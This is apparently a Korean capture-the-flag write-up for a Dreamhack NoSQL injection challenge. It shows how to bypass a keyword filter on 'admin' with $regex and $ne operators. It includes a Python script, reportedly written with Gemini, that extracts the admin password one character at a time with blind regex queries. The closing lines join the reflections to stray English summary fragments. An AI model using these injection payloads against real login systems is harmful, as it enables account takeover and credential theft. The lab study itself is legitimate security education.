https://dreamhack.io/wargame/challenges/90
이 문제는 데이터베이스에 저장된 플래그를 획득하는 문제입니다.
플래그는 admin 계정의 비밀번호 입니다.
플래그의 형식은 DH{...} 입니다.
{'uid': 'admin', 'upw': 'DH{32alphanumeric}'}


// flag is in db, {'uid': 'admin', 'upw': 'DH{32alphanumeric}'}
const BAN = ['admin', 'dh', 'admi'];
위의 코드를 통해 플래그를 얻기 위해 필요한 admin이라는 문자를 필터링하고있음을 알 수 있었습니다. 또한 패스워드는 총 32글자의 영어와 숫자로 이루어짐을 확인하였습니다.

실제 admin으로 접속하니 필터가 걸린 모습입니다.
/login?uid[$regex]=ad.in&upw[$ne]=guest 을 입력해줍니다. uid[$regex]=ad.in : $regex는 정규표현식의 약자로, 특정 패턴을 가진 값을 찾고싶을 때 사용하는 연산자입니다. .은 아무글자나 들어올 수 있습니다. 따라서 uid[$regex]=ad.in은 아이디가 ad( )in인 사용자를 찾기 위한 쿼리입니다. [$ne] : 같지 않음의 약자입니다. 따라서 위에선 비밀번호가 guest가 아닌 사용자를 찾고싶을 때 사용하는 연산자입니다.ad.in이고, 비밀번호가 guest가 아닌 사용자를 찾는 과정입니다.
import requests
import string
# 1. 주소 설정
url = "http://host3.dreamhack.games:23392/login"
# 2. 사용할 문자들 (알파벳 대소문자 + 숫자)
chars = string.ascii_letters + string.digits
flag = "DH{"
# 3. 플래그의 4번째 글자(index 3)부터 마지막 35번째 글자까지 찾기
for i in range(3, 35):
found = False
for char in chars:
# ^.{i}char : 앞의 i글자는 무시하고 그 다음 글자가 char인지 확인
payload = f"?uid[$regex]=ad.in&upw[$regex]=^.{{{i}}}{char}"
try:
res = requests.get(url + payload)
if "admin" in res.text:
flag += char
print(f"찾는 중... 현재 플래그: {flag}")
found = True
break
except Exception as e:
print(f"에러 발생: {e}")
continue
if not found:
print("더 이상 글자를 찾을 수 없습니다.")
break
flag += "}"
print(f"최종 플래그: {flag}")
코드작성은 제미나이를 활용하였습니다.
코드 설명
import requests: 파이썬으로 웹사이트에 접속하게 해주는 도구를 가져옴.import string : 글자 목록을 가져옴. string.ascii_letters는 알파벳 대소문자 전체, string.digits는 숫자 0부터 9까지를 의미. 플래그에 쓰이는 문자들을 미리 chars 이라는 변수에 담아둠.flag = "DH{" : flag의 시작부분을 변수에 담아둠.for char in chars 는 char안에 들어갈 글자가 chars 안의 무슨 글자인지 하나씩 넣어보는 과정.payload = f"?uid[$regex]=ad.in&upw[$regex]=^.{{{i}}}{char}" uid[$regex]=ad.in를 씀.^ : 문자열의 처음부터 확인하라는 뜻.{{{i}}} : 앞에 있는 {i}개의 글자는 뭐가 오든 뛰어넘으라는 뜻 (중괄호를 3개 쓴 이유 : 파이썬의 f-string에서 {}는 변수를 넣는 칸인데, 변수가 아니라 중괄호 글자임을 알려주려면 두번 작성해야 함. 중괄호 안에 변수 {i}를 넣어야 하는 상황이기에 중괄호를 3번 작성함.){char} : {i}개의 글자 그 다음 글자가 char과 똑같은지 확인.try: 에서 한글자씩 대입해서 플래그를 찾아낸다. 
$regex나 [$ne]등의 연산자도 학습할 수 있었습니다. 서버에서 단순히 특정 문자열을 가리는 것 만으로는 보안이 되지 않는다는 점을 다시한번 익힐 수 있었습니다.DH{32alphanumeric}.admin, dh, and admi, but improper input validation leads to a NoSQL Injection vulnerability.$regex and $ne (e.g., /login?uid[$regex]=ad.in&upw[$ne]=guest) to log in as admin.